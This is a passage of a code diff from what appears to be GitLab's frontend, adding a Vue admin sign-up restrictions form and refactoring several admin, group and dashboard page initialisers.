+ return this.hasUserCapBeenIncreased || hasUserCapBeenToggledOff;
+ },
+ signupEnabledHelpText() {
+ const text = sprintf(
+ s__(
+ 'ApplicationSettings|When enabled, any user visiting %{host} will be able to create an account.',
+ ),
+ {
+ host: this.host,
+ },
+ );
+
+ return text;
+ },
+ requireAdminApprovalHelpText() {
+ const text = sprintf(
+ s__(
+ 'ApplicationSettings|When enabled, any user visiting %{host} and creating an account will have to be explicitly approved by an admin before they can sign in. This setting is effective only if sign-ups are enabled.',
+ ),
+ {
+ host: this.host,
+ },
+ );
+
+ return text;
+ },
+ },
+ watch: {
+ showModal(value) {
+ if (value === true) {
+ this.$refs[this.$options.modal.id].show();
+ } else {
+ this.$refs[this.$options.modal.id].hide();
+ }
+ },
+ },
+ methods: {
+ submitButtonHandler() {
+ if (this.canUsersBeAccidentallyApproved) {
+ this.showModal = true;
+
+ return;
+ }
+
+ this.submitForm();
+ },
+ submitForm() {
+ this.$refs.form.submit();
+ },
+ modalHideHandler() {
+ this.showModal = false;
+ },
+ },
+ i18n: {
+ buttonText: s__('ApplicationSettings|Save changes'),
+ signupEnabledLabel: s__('ApplicationSettings|Sign-up enabled'),
+ requireAdminApprovalLabel: s__('ApplicationSettings|Require admin approval for new sign-ups'),
+ sendConfirmationEmailLabel: s__('ApplicationSettings|Send confirmation email on sign-up'),
+ minimumPasswordLengthLabel: s__(
+ 'ApplicationSettings|Minimum password length (number of characters)',
+ ),
+ domainAllowListLabel: s__('ApplicationSettings|Allowed domains for sign-ups'),
+ domainAllowListDescription: s__(
+ 'ApplicationSettings|ONLY users with e-mail addresses that match these domain(s) will be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com',
+ ),
+ userCapLabel: s__('ApplicationSettings|User cap'),
+ userCapDescription: s__(
+ 'ApplicationSettings|Once the instance reaches the user cap, any user who is added or requests access will have to be approved by an admin. Leave the field empty for unlimited.',
+ ),
+ domainDenyListGroupLabel: s__('ApplicationSettings|Domain denylist'),
+ domainDenyListLabel: s__('ApplicationSettings|Enable domain denylist for sign ups'),
+ domainDenyListTypeFileLabel: s__('ApplicationSettings|Upload denylist file'),
+ domainDenyListTypeRawLabel: s__('ApplicationSettings|Enter denylist manually'),
+ domainDenyListFileLabel: s__('ApplicationSettings|Denylist file'),
+ domainDenyListFileDescription: s__(
+ 'ApplicationSettings|Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines or commas for multiple entries.',
+ ),
+ domainDenyListListLabel: s__('ApplicationSettings|Denied domains for sign-ups'),
+ domainDenyListListDescription: s__(
+ 'ApplicationSettings|Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com',
+ ),
+ domainPlaceholder: s__('ApplicationSettings|domain.com'),
+ emailRestrictionsEnabledGroupLabel: s__('ApplicationSettings|Email restrictions'),
+ emailRestrictionsEnabledLabel: s__(
+ 'ApplicationSettings|Enable email restrictions for sign ups',
+ ),
+ emailRestrictionsGroupLabel: s__('ApplicationSettings|Email restrictions for sign-ups'),
+ afterSignUpTextGroupLabel: s__('ApplicationSettings|After sign up text'),
+ afterSignUpTextGroupDescription: s__('ApplicationSettings|Markdown enabled'),
+ },
+ modal: {
+ id: 'signup-settings-modal',
+ actionPrimary: {
+ text: s__('ApplicationSettings|Approve users'),
+ attributes: {
+ variant: 'confirm',
+ },
+ },
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ title: s__('ApplicationSettings|Approve all users in the pending approval status?'),
+ text: s__(
+ 'ApplicationSettings|By making this change, you will automatically approve all users in pending approval status.',
+ ),
+ },
+};
+</script>
+
+<template>
+ <form
+ ref="form"
+ accept-charset="UTF-8"
+ data-testid="form"
+ method="post"
+ :action="settingsPath"
+ enctype="multipart/form-data"
+ >
+ <input type="hidden" name="utf8" value="✓" />
+ <input type="hidden" name="_method" value="patch" />
+ <input type="hidden" name="authenticity_token" :value="$options.csrf.token" />
+
+ <section class="gl-mb-8">
+ <signup-checkbox
+ v-model="form.signupEnabled"
+ class="gl-mb-5"
+ name="application_setting[signup_enabled]"
+ :help-text="signupEnabledHelpText"
+ :label="$options.i18n.signupEnabledLabel"
+ data-qa-selector="signup_enabled_checkbox"
+ />
+
+ <signup-checkbox
+ v-model="form.requireAdminApproval"
+ class="gl-mb-5"
+ name="application_setting[require_admin_approval_after_user_signup]"
+ :help-text="requireAdminApprovalHelpText"
+ :label="$options.i18n.requireAdminApprovalLabel"
+ data-qa-selector="require_admin_approval_after_user_signup_checkbox"
+ data-testid="require-admin-approval-checkbox"
+ />
+
+ <signup-checkbox
+ v-model="form.sendConfirmationEmail"
+ class="gl-mb-5"
+ name="application_setting[send_user_confirmation_email]"
+ :label="$options.i18n.sendConfirmationEmailLabel"
+ />
+
+ <gl-form-group
+ :label="$options.i18n.userCapLabel"
+ :description="$options.i18n.userCapDescription"
+ >
+ <gl-form-input
+ v-model="form.userCap"
+ type="text"
+ name="application_setting[new_user_signups_cap]"
+ data-testid="user-cap-input"
+ />
+ </gl-form-group>
+
+ <gl-form-group :label="$options.i18n.minimumPasswordLengthLabel">
+ <gl-form-input
+ v-model="form.minimumPasswordLength"
+ :min="form.minimumPasswordLengthMin"
+ :max="form.minimumPasswordLengthMax"
+ type="number"
+ name="application_setting[minimum_password_length]"
+ />
+
+ <gl-sprintf
+ :message="
+ s__(
+ 'ApplicationSettings|See GitLab\'s %{linkStart}Password Policy Guidelines%{linkEnd}',
+ )
+ "
+ >
+ <template #link="{ content }">
+ <gl-link :href="form.minimumPasswordLengthHelpLink" target="_blank">{{
+ content
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </gl-form-group>
+
+ <gl-form-group
+ :description="$options.i18n.domainAllowListDescription"
+ :label="$options.i18n.domainAllowListLabel"
+ >
+ <textarea
+ v-model="form.domainAllowlistRaw"
+ :placeholder="$options.i18n.domainPlaceholder"
+ rows="8"
+ class="form-control gl-form-input"
+ name="application_setting[domain_allowlist_raw]"
+ ></textarea>
+ </gl-form-group>
+
+ <gl-form-group :label="$options.i18n.domainDenyListGroupLabel">
+ <signup-checkbox
+ v-model="form.domainDenylistEnabled"
+ name="application_setting[domain_denylist_enabled]"
+ :label="$options.i18n.domainDenyListLabel"
+ />
+ </gl-form-group>
+
+ <gl-form-radio-group v-model="form.denylistType" name="denylist_type" class="gl-mb-5">
+ <gl-form-radio :value="$options.DENYLIST_TYPE_FILE">{{
+ $options.i18n.domainDenyListTypeFileLabel
+ }}</gl-form-radio>
+ <gl-form-radio :value="$options.DENYLIST_TYPE_RAW">{{
+ $options.i18n.domainDenyListTypeRawLabel
+ }}</gl-form-radio>
+ </gl-form-radio-group>
+
+ <gl-form-group
+ v-if="form.denylistType === $options.DENYLIST_TYPE_FILE"
+ :description="$options.i18n.domainDenyListFileDescription"
+ :label="$options.i18n.domainDenyListFileLabel"
+ label-for="domain-denylist-file-input"
+ data-testid="domain-denylist-file-input-group"
+ >
+ <input
+ id="domain-denylist-file-input"
+ class="form-control gl-form-input"
+ type="file"
+ accept=".txt,.conf"
+ name="application_setting[domain_denylist_file]"
+ />
+ </gl-form-group>
+
+ <gl-form-group
+ v-if="form.denylistType !== $options.DENYLIST_TYPE_FILE"
+ :description="$options.i18n.domainDenyListListDescription"
+ :label="$options.i18n.domainDenyListListLabel"
+ data-testid="domain-denylist-raw-input-group"
+ >
+ <textarea
+ v-model="form.domainDenylistRaw"
+ :placeholder="$options.i18n.domainPlaceholder"
+ rows="8"
+ class="form-control gl-form-input"
+ name="application_setting[domain_denylist_raw]"
+ ></textarea>
+ </gl-form-group>
+
+ <gl-form-group :label="$options.i18n.emailRestrictionsEnabledGroupLabel">
+ <signup-checkbox
+ v-model="form.emailRestrictionsEnabled"
+ name="application_setting[email_restrictions_enabled]"
+ :label="$options.i18n.emailRestrictionsEnabledLabel"
+ />
+ </gl-form-group>
+
+ <gl-form-group :label="$options.i18n.emailRestrictionsGroupLabel">
+ <textarea
+ v-model="form.emailRestrictions"
+ rows="4"
+ class="form-control gl-form-input"
+ name="application_setting[email_restrictions]"
+ ></textarea>
+
+ <gl-sprintf
+ :message="
+ s__(
+ 'ApplicationSettings|Restricts sign-ups for email addresses that match the given regex. See the %{linkStart}supported syntax%{linkEnd} for more information.',
+ )
+ "
+ >
+ <template #link="{ content }">
+ <gl-link :href="form.supportedSyntaxLinkUrl" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </gl-form-group>
+
+ <gl-form-group
+ :label="$options.i18n.afterSignUpTextGroupLabel"
+ :description="$options.i18n.afterSignUpTextGroupDescription"
+ >
+ <textarea
+ v-model="form.afterSignUpText"
+ rows="4"
+ class="form-control gl-form-input"
+ name="application_setting[after_sign_up_text]"
+ ></textarea>
+ </gl-form-group>
+ </section>
+
+ <gl-button
+ data-qa-selector="save_changes_button"
+ variant="confirm"
+ @click.prevent="submitButtonHandler"
+ >
+ {{ $options.i18n.buttonText }}
+ </gl-button>
+
+ <gl-modal
+ :ref="$options.modal.id"
+ :modal-id="$options.modal.id"
+ :action-cancel="$options.modal.actionCancel"
+ :action-primary="$options.modal.actionPrimary"
+ :title="$options.modal.title"
+ @primary="submitForm"
+ @hide="modalHideHandler"
+ >
+ {{ $options.modal.text }}
+ </gl-modal>
+ </form>
+</template>
diff --git a/app/assets/javascripts/pages/admin/application_settings/general/index.js b/app/assets/javascripts/pages/admin/application_settings/general/index.js
index eda1a9d3599..c48d99da990 100644
--- a/app/assets/javascripts/pages/admin/application_settings/general/index.js
+++ b/app/assets/javascripts/pages/admin/application_settings/general/index.js
@@ -1,27 +1,9 @@
-import Vue from 'vue';
-import IntegrationHelpText from '~/vue_shared/components/integrations_help_text.vue';
import initUserInternalRegexPlaceholder from '../account_and_limits';
+import initGitpod from '../gitpod';
+import initSignupRestrictions from '../signup_restrictions';
(() => {
initUserInternalRegexPlaceholder();
-
- const el = document.querySelector('#js-gitpod-settings-help-text');
- if (!el) {
- return;
- }
-
- const { message, messageUrl } = el.dataset;
-
- // eslint-disable-next-line no-new
- new Vue({
- el,
- render(createElement) {
- return createElement(IntegrationHelpText, {
- props: {
- message,
- messageUrl,
- },
- });
- },
- });
+ initGitpod();
+ initSignupRestrictions();
})();
diff --git a/app/assets/javascripts/pages/admin/application_settings/gitpod.js b/app/assets/javascripts/pages/admin/application_settings/gitpod.js
new file mode 100644
index 00000000000..74e46617d52
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/application_settings/gitpod.js
@@ -0,0 +1,24 @@
+import Vue from 'vue';
+import IntegrationHelpText from '~/vue_shared/components/integrations_help_text.vue';
+
+export default function initGitpod() {
+ const el = document.querySelector('#js-gitpod-settings-help-text');
+
+ if (!el) {
+ return false;
+ }
+
+ const { message, messageUrl } = el.dataset;
+
+ return new Vue({
+ el,
+ render(createElement) {
+ return createElement(IntegrationHelpText, {
+ props: {
+ message,
+ messageUrl,
+ },
+ });
+ },
+ });
+}
diff --git a/app/assets/javascripts/pages/admin/application_settings/index.js b/app/assets/javascripts/pages/admin/application_settings/index.js
index e3c6b0f6f5b..a6e3a7dc08a 100644
--- a/app/assets/javascripts/pages/admin/application_settings/index.js
+++ b/app/assets/javascripts/pages/admin/application_settings/index.js
@@ -4,9 +4,7 @@ import initSearchSettings from '~/search_settings';
import selfMonitor from '~/self_monitor';
import initSettingsPanels from '~/settings_panels';
-if (gon.features?.ciInstanceVariablesUi) {
- initVariableList('js-instance-variables');
-}
+initVariableList('js-instance-variables');
selfMonitor();
// Initialize expandable settings panels
initSettingsPanels();
diff --git a/app/assets/javascripts/pages/admin/application_settings/signup_restrictions.js b/app/assets/javascripts/pages/admin/application_settings/signup_restrictions.js
new file mode 100644
index 00000000000..70b896f6372
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/application_settings/signup_restrictions.js
@@ -0,0 +1,31 @@
+import Vue from 'vue';
+import SignupForm from './general/components/signup_form.vue';
+import { getParsedDataset } from './utils';
+
+export default function initSignupRestrictions(elementSelector = '#js-signup-form') {
+ const el = document.querySelector(elementSelector);
+
+ if (!el) {
+ return false;
+ }
+
+ const parsedDataset = getParsedDataset({
+ dataset: el.dataset,
+ booleanAttributes: [
+ 'signupEnabled',
+ 'requireAdminApprovalAfterUserSignup',
+ 'sendUserConfirmationEmail',
+ 'domainDenylistEnabled',
+ 'denylistTypeRawSelected',
+ 'emailRestrictionsEnabled',
+ ],
+ });
+
+ return new Vue({
+ el,
+ provide: {
+ ...parsedDataset,
+ },
+ render: (createElement) => createElement(SignupForm),
+ });
+}
diff --git a/app/assets/javascripts/pages/admin/application_settings/utils.js b/app/assets/javascripts/pages/admin/application_settings/utils.js
new file mode 100644
index 00000000000..5462a13d523
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/application_settings/utils.js
@@ -0,0 +1,21 @@
+import { includes } from 'lodash';
+import { parseBoolean } from '~/lib/utils/common_utils';
+
+/**
+ * Returns a new dataset that has all the values of keys indicated in
+ * booleanAttributes transformed by the parseBoolean() helper function
+ *
+ * @param {Object}
+ * @returns {Object}
+ */
+export const getParsedDataset = ({ dataset = {}, booleanAttributes = [] } = {}) => {
+ const parsedDataset = {};
+
+ Object.keys(dataset).forEach((key) => {
+ parsedDataset[key] = includes(booleanAttributes, key)
+ ? parseBoolean(dataset[key])
+ : dataset[key];
+ });
+
+ return parsedDataset;
+};
diff --git a/app/assets/javascripts/pages/admin/broadcast_messages/index.js b/app/assets/javascripts/pages/admin/broadcast_messages/index.js
index d6cc6a850eb..b7db6443658 100644
--- a/app/assets/javascripts/pages/admin/broadcast_messages/index.js
+++ b/app/assets/javascripts/pages/admin/broadcast_messages/index.js
@@ -1,3 +1,7 @@
+import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
import initBroadcastMessagesForm from './broadcast_message';
-document.addEventListener('DOMContentLoaded', initBroadcastMessagesForm);
+document.addEventListener('DOMContentLoaded', () => {
+ initBroadcastMessagesForm();
+ initDeprecatedRemoveRowBehavior();
+});
diff --git a/app/assets/javascripts/pages/admin/groups/new/index.js b/app/assets/javascripts/pages/admin/groups/new/index.js
index 94f7cfd55be..1630cfb8253 100644
--- a/app/assets/javascripts/pages/admin/groups/new/index.js
+++ b/app/assets/javascripts/pages/admin/groups/new/index.js
@@ -2,9 +2,9 @@ import initFilePickers from '~/file_pickers';
import BindInOut from '../../../../behaviors/bind_in_out';
import Group from '../../../../group';
-document.addEventListener('DOMContentLoaded', () => {
+(() => {
BindInOut.initAll();
initFilePickers();
return new Group();
-});
+})();
diff --git a/app/assets/javascripts/pages/admin/labels/edit/index.js b/app/assets/javascripts/pages/admin/labels/edit/index.js
index 5de1d4d6344..f7c25347e75 100644
--- a/app/assets/javascripts/pages/admin/labels/edit/index.js
+++ b/app/assets/javascripts/pages/admin/labels/edit/index.js
@@ -1,3 +1,3 @@
import Labels from '../../../../labels';
-document.addEventListener('DOMContentLoaded', () => new Labels());
+new Labels(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/admin/labels/index/index.js b/app/assets/javascripts/pages/admin/labels/index/index.js
new file mode 100644
index 00000000000..e5ab5d43bbf
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/labels/index/index.js
@@ -0,0 +1,3 @@
+import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
+
+document.addEventListener('DOMContentLoaded', initDeprecatedRemoveRowBehavior);
diff --git a/app/assets/javascripts/pages/admin/labels/new/index.js b/app/assets/javascripts/pages/admin/labels/new/index.js
index 5de1d4d6344..f7c25347e75 100644
--- a/app/assets/javascripts/pages/admin/labels/new/index.js
+++ b/app/assets/javascripts/pages/admin/labels/new/index.js
@@ -1,3 +1,3 @@
import Labels from '../../../../labels';
-document.addEventListener('DOMContentLoaded', () => new Labels());
+new Labels(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/admin/runners/index.js b/app/assets/javascripts/pages/admin/runners/index/index.js
index 45ed3ac6bd8..45ed3ac6bd8 100644
--- a/app/assets/javascripts/pages/admin/runners/index.js
+++ b/app/assets/javascripts/pages/admin/runners/index/index.js
diff --git a/app/assets/javascripts/pages/admin/runners/show/index.js b/app/assets/javascripts/pages/admin/runners/show/index.js
new file mode 100644
index 00000000000..d1853772fda
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/runners/show/index.js
@@ -0,0 +1,3 @@
+import { initRunnerDetail } from '~/runner/runner_details';
+
+initRunnerDetail();
diff --git a/app/assets/javascripts/pages/admin/services/edit/index.js b/app/assets/javascripts/pages/admin/services/edit/index.js
index 3d692ef4dcc..b8080ddff77 100644
--- a/app/assets/javascripts/pages/admin/services/edit/index.js
+++ b/app/assets/javascripts/pages/admin/services/edit/index.js
@@ -1,6 +1,4 @@
import IntegrationSettingsForm from '~/integrations/integration_settings_form';
-document.addEventListener('DOMContentLoaded', () => {
- const integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
- integrationSettingsForm.init();
-});
+const integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
+integrationSettingsForm.init();
diff --git a/app/assets/javascripts/pages/admin/spam_logs/index.js b/app/assets/javascripts/pages/admin/spam_logs/index.js
new file mode 100644
index 00000000000..e5ab5d43bbf
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/spam_logs/index.js
@@ -0,0 +1,3 @@
+import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
+
+document.addEventListener('DOMContentLoaded', initDeprecatedRemoveRowBehavior);
diff --git a/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue b/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue
index d2b83f980d7..20407334b3f 100644
--- a/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue
+++ b/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue
@@ -119,8 +119,8 @@ export default {
<gl-button @click="onCancel">{{ s__('Cancel') }}</gl-button>
<gl-button
:disabled="!canSubmit"
- category="primary"
- variant="warning"
+ category="secondary"
+ variant="danger"
@click="onSecondaryAction"
>
{{ secondaryAction }}
diff --git a/app/assets/javascripts/pages/admin/users/new/index.js b/app/assets/javascripts/pages/admin/users/new/index.js
index 7b7d4c169ef..34c10e44f4c 100644
--- a/app/assets/javascripts/pages/admin/users/new/index.js
+++ b/app/assets/javascripts/pages/admin/users/new/index.js
@@ -1,51 +1,3 @@
-import $ from 'jquery';
+import { setupInternalUserRegexHandler } from '~/admin/users/new';
-export default class UserInternalRegexHandler {
- constructor() {
- this.regexPattern = $('[data-user-internal-regex-pattern]').data('user-internal-regex-pattern');
- if (this.regexPattern && this.regexPattern !== '') {
- this.regexOptions = $('[data-user-internal-regex-options]').data(
- 'user-internal-regex-options',
- );
- this.external = $('#user_external');
- this.warningMessage = $('#warning_external_automatically_set');
- this.addListenerToEmailField();
- this.addListenerToUserExternalCheckbox();
- }
- }
-
- addListenerToEmailField() {
- $('#user_email').on('input', (event) => {
- this.setExternalCheckbox(event.currentTarget.value);
- });
- }
-
- addListenerToUserExternalCheckbox() {
- this.external.on('click', () => {
- this.warningMessage.addClass('hidden');
- });
- }
-
- isEmailInternal(email) {
- const regex = new RegExp(this.regexPattern, this.regexOptions);
- return regex.test(email);
- }
-
- setExternalCheckbox(email) {
- const isChecked = this.external.prop('checked');
- if (this.isEmailInternal(email)) {
- if (isChecked) {
- this.external.prop('checked', false);
- this.warningMessage.removeClass('hidden');
- }
- } else if (!isChecked) {
- this.external.prop('checked', true);
- this.warningMessage.addClass('hidden');
- }
- }
-}
-
-document.addEventListener('DOMContentLoaded', () => {
- // eslint-disable-next-line
- new UserInternalRegexHandler();
-});
+setupInternalUserRegexHandler();
diff --git a/app/assets/javascripts/pages/dashboard/activity/index.js b/app/assets/javascripts/pages/dashboard/activity/index.js
index 1b887cad496..8b7c36a0976 100644
--- a/app/assets/javascripts/pages/dashboard/activity/index.js
+++ b/app/assets/javascripts/pages/dashboard/activity/index.js
@@ -1,3 +1,4 @@
import Activities from '~/activities';
-document.addEventListener('DOMContentLoaded', () => new Activities());
+// eslint-disable-next-line no-new
+new Activities();
diff --git a/app/assets/javascripts/pages/dashboard/todos/index/todos.js b/app/assets/javascripts/pages/dashboard/todos/index/todos.js
index d53cd405504..42341436b55 100644
--- a/app/assets/javascripts/pages/dashboard/todos/index/todos.js
+++ b/app/assets/javascripts/pages/dashboard/todos/index/todos.js
@@ -1,6 +1,8 @@
/* eslint-disable class-methods-use-this, no-unneeded-ternary */
import $ from 'jquery';
+import { getGroups } from '~/api/groups_api';
+import { getProjects } from '~/api/projects_api';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
import { deprecatedCreateFlash as flash } from '~/flash';
import axios from '~/lib/utils/axios_utils';
@@ -41,14 +43,37 @@ export default class Todos {
}
initFilters() {
- this.initFilterDropdown($('.js-group-search'), 'group_id', ['text']);
- this.initFilterDropdown($('.js-project-search'), 'project_id', ['text']);
+ this.initAjaxFilterDropdown(getGroups, $('.js-group-search'), 'group_id');
+ this.initAjaxFilterDropdown(getProjects, $('.js-project-search'), 'project_id');
this.initFilterDropdown($('.js-type-search'), 'type');
this.initFilterDropdown($('.js-action-search'), 'action_id');
return new UsersSelect();
}
+ initAjaxFilterDropdown(apiMethod, $dropdown, fieldName) {
+ initDeprecatedJQueryDropdown($dropdown, {
+ fieldName,
+ selectable: true,
+ filterable: true,
+ filterRemote: true,
+ data(search, callback) {
+ return apiMethod(search, {}, (data) => {
+ callback(
+ data.map((d) => ({
+ id: d.id,
+ text: d.full_name || d.name_with_namespace,
+ })),
+ );
+ });
+ },
+ clicked: () => {
+ const $formEl = $dropdown.closest('form.filter-form');
+ $formEl.submit();
+ },
+ });
+ }
+
initFilterDropdown($dropdown, fieldName, searchFields) {
initDeprecatedJQueryDropdown($dropdown, {
fieldName,
@@ -58,12 +83,6 @@ export default class Todos {
data: $dropdown.data('data'),
clicked: () => {
const $formEl = $dropdown.closest('form.filter-form');
- const mutexDropdowns = {
- group_id: 'project_id',
- project_id: 'group_id',
- };
-
- $formEl.find(`input[name="${mutexDropdowns[fieldName]}"]`).remove();
$formEl.submit();
},
});
diff --git a/app/assets/javascripts/pages/groups/edit/index.js b/app/assets/javascripts/pages/groups/edit/index.js
index 176d2406751..49b9822795c 100644
--- a/app/assets/javascripts/pages/groups/edit/index.js
+++ b/app/assets/javascripts/pages/groups/edit/index.js
@@ -4,6 +4,7 @@ import dirtySubmitFactory from '~/dirty_submit/dirty_submit_factory';
import initFilePickers from '~/file_pickers';
import TransferDropdown from '~/groups/transfer_dropdown';
import groupsSelect from '~/groups_select';
+import { initCascadingSettingsLockPopovers } from '~/namespaces/cascading_settings';
import mountBadgeSettings from '~/pages/shared/mount_badge_settings';
import projectSelect from '~/project_select';
import initSearchSettings from '~/search_settings';
@@ -26,6 +27,7 @@ document.addEventListener('DOMContentLoaded', () => {
projectSelect();
initSearchSettings();
+ initCascadingSettingsLockPopovers();
return new TransferDropdown();
});
diff --git a/app/assets/javascripts/pages/groups/group_members/index.js b/app/assets/javascripts/pages/groups/group_members/index.js
index ab70fa572ba..b0a70055835 100644
--- a/app/assets/javascripts/pages/groups/group_members/index.js
+++ b/app/assets/javascripts/pages/groups/group_members/index.js
@@ -8,6 +8,7 @@ import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigg
import { s__ } from '~/locale';
import memberExpirationDate from '~/member_expiration_date';
import { initMembersApp } from '~/members';
+import { MEMBER_TYPES } from '~/members/constants';
import { groupLinkRequestFormatter } from '~/members/utils';
import UsersSelect from '~/users_select';
import RemoveMemberModal from '~/vue_shared/components/remove_member_modal.vue';
@@ -29,6 +30,7 @@ function mountRemoveMemberModal() {
const SHARED_FIELDS = ['account', 'expires', 'maxRole', 'expiration', 'actions'];
initMembersApp(document.querySelector('.js-group-members-list'), {
+ namespace: MEMBER_TYPES.user,
tableFields: SHARED_FIELDS.concat(['source', 'granted']),
tableAttrs: { tr: { 'data-qa-selector': 'member_row' } },
tableSortableFields: ['account', 'granted', 'maxRole', 'lastSignIn'],
@@ -43,6 +45,7 @@ initMembersApp(document.querySelector('.js-group-members-list'), {
});
initMembersApp(document.querySelector('.js-group-group-links-list'), {
+ namespace: MEMBER_TYPES.group,
tableFields: SHARED_FIELDS.concat('granted'),
tableAttrs: {
table: { 'data-qa-selector': 'groups_list' },
@@ -51,6 +54,7 @@ initMembersApp(document.querySelector('.js-group-group-links-list'), {
requestFormatter: groupLinkRequestFormatter,
});
initMembersApp(document.querySelector('.js-group-invited-members-list'), {
+ namespace: MEMBER_TYPES.invite,
tableFields: SHARED_FIELDS.concat('invited'),
requestFormatter: groupMemberRequestFormatter,
filteredSearchBar: {
@@ -62,6 +66,7 @@ initMembersApp(document.querySelector('.js-group-invited-members-list'), {
},
});
initMembersApp(document.querySelector('.js-group-access-requests-list'), {
+ namespace: MEMBER_TYPES.accessRequest,
tableFields: SHARED_FIELDS.concat('requested'),
requestFormatter: groupMemberRequestFormatter,
});
diff --git a/app/assets/javascripts/pages/groups/labels/index/index.js b/app/assets/javascripts/pages/groups/labels/index/index.js
index 87d522d7654..95c2c7cd7d0 100644
--- a/app/assets/javascripts/pages/groups/labels/index/index.js
+++ b/app/assets/javascripts/pages/groups/labels/index/index.js
@@ -1,3 +1,5 @@
+import initDeleteLabelModal from '~/delete_label_modal';
import initLabels from '~/init_labels';
initLabels();
+initDeleteLabelModal();
diff --git a/app/assets/javascripts/pages/groups/new/fetch_group_path_availability.js b/app/assets/javascripts/pages/groups/new/fetch_group_path_availability.js
index 1d68ccd724d..301e0b4f7a2 100644
--- a/app/assets/javascripts/pages/groups/new/fetch_group_path_availability.js
+++ b/app/assets/javascripts/pages/groups/new/fetch_group_path_availability.js
@@ -1,7 +1,12 @@
+import { buildApiUrl } from '~/api/api_utils';
import axios from '~/lib/utils/axios_utils';
-const rootUrl = gon.relative_url_root;
+const NAMESPACE_EXISTS_PATH = '/api/:version/namespaces/:id/exists';
-export default function fetchGroupPathAvailability(groupPath) {
- return axios.get(`${rootUrl}/users/${groupPath}/suggests`);
+export default function fetchGroupPathAvailability(groupPath, parentId) {
+ const url = buildApiUrl(NAMESPACE_EXISTS_PATH).replace(':id', encodeURIComponent(groupPath));
+
+ return axios.get(url, {
+ params: { parent_id: parentId },
+ });
}
diff --git a/app/assets/javascripts/pages/groups/new/group_path_validator.js b/app/assets/javascripts/pages/groups/new/group_path_validator.js
index 89dccea2812..a0ff98645fb 100644
--- a/app/assets/javascripts/pages/groups/new/group_path_validator.js
+++ b/app/assets/javascripts/pages/groups/new/group_path_validator.js
@@ -8,6 +8,7 @@ import fetchGroupPathAvailability from './fetch_group_path_availability';
const debounceTimeoutDuration = 1000;
const invalidInputClass = 'gl-field-error-outline';
const successInputClass = 'gl-field-success-outline';
+const parentIdSelector = 'group_parent_id';
const successMessageSelector = '.validation-success';
const pendingMessageSelector = '.validation-pending';
const unavailableMessageSelector = '.validation-error';
@@ -20,9 +21,10 @@ export default class GroupPathValidator extends InputValidator {
const container = opts.container || '';
const validateElements = document.querySelectorAll(`${container} .js-validate-group-path`);
+ const parentIdElement = document.getElementById(parentIdSelector);
this.debounceValidateInput = debounce((inputDomElement) => {
- GroupPathValidator.validateGroupPathInput(inputDomElement);
+ GroupPathValidator.validateGroupPathInput(inputDomElement, parentIdElement);
}, debounceTimeoutDuration);
validateElements.forEach((element) =>
@@ -37,13 +39,14 @@ export default class GroupPathValidator extends InputValidator {
this.debounceValidateInput(inputDomElement);
}
- static validateGroupPathInput(inputDomElement) {
+ static validateGroupPathInput(inputDomElement, parentIdElement) {
const groupPath = inputDomElement.value;
+ const parentId = parentIdElement.value;
if (inputDomElement.checkValidity() && groupPath.length > 1) {
GroupPathValidator.setMessageVisibility(inputDomElement, pendingMessageSelector);
- fetchGroupPathAvailability(groupPath)
+ fetchGroupPathAvailability(groupPath, parentId)
.then(({ data }) => data)
.then((data) => {
GroupPathValidator.setInputState(inputDomElement, !data.exists);
diff --git a/app/assets/javascripts/pages/groups/new/index.js b/app/assets/javascripts/pages/groups/new/index.js
index 322ad2c79e7..569b5afd676 100644
--- a/app/assets/javascripts/pages/groups/new/index.js
+++ b/app/assets/javascripts/pages/groups/new/index.js
@@ -5,10 +5,8 @@ import Group from '~/group';
import LinkedTabs from '~/lib/utils/bootstrap_linked_tabs';
import GroupPathValidator from './group_path_validator';
-const parentId = $('#group_parent_id');
-if (!parentId.val()) {
- new GroupPathValidator(); // eslint-disable-line no-new
-}
+new GroupPathValidator(); // eslint-disable-line no-new
+
BindInOut.initAll();
initFilePickers();
diff --git a/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js b/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
index 0c3fdcf3e75..636eea5d7ac 100644
--- a/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
+++ b/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
@@ -4,7 +4,6 @@ import initSharedRunnersForm from '~/group_settings/mount_shared_runners';
import { FILTERED_SEARCH } from '~/pages/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import { initInstallRunner } from '~/pages/shared/mount_runner_instructions';
-import initSearchSettings from '~/search_settings';
import initSettingsPanels from '~/settings_panels';
// Initialize expandable settings panels
@@ -21,5 +20,3 @@ initSharedRunnersForm();
initVariableList();
initInstallRunner();
-
-initSearchSettings();
diff --git a/app/assets/javascripts/pages/groups/settings/index.js b/app/assets/javascripts/pages/groups/settings/index.js
new file mode 100644
index 00000000000..cb787c60002
--- /dev/null
+++ b/app/assets/javascripts/pages/groups/settings/index.js
@@ -0,0 +1,5 @@
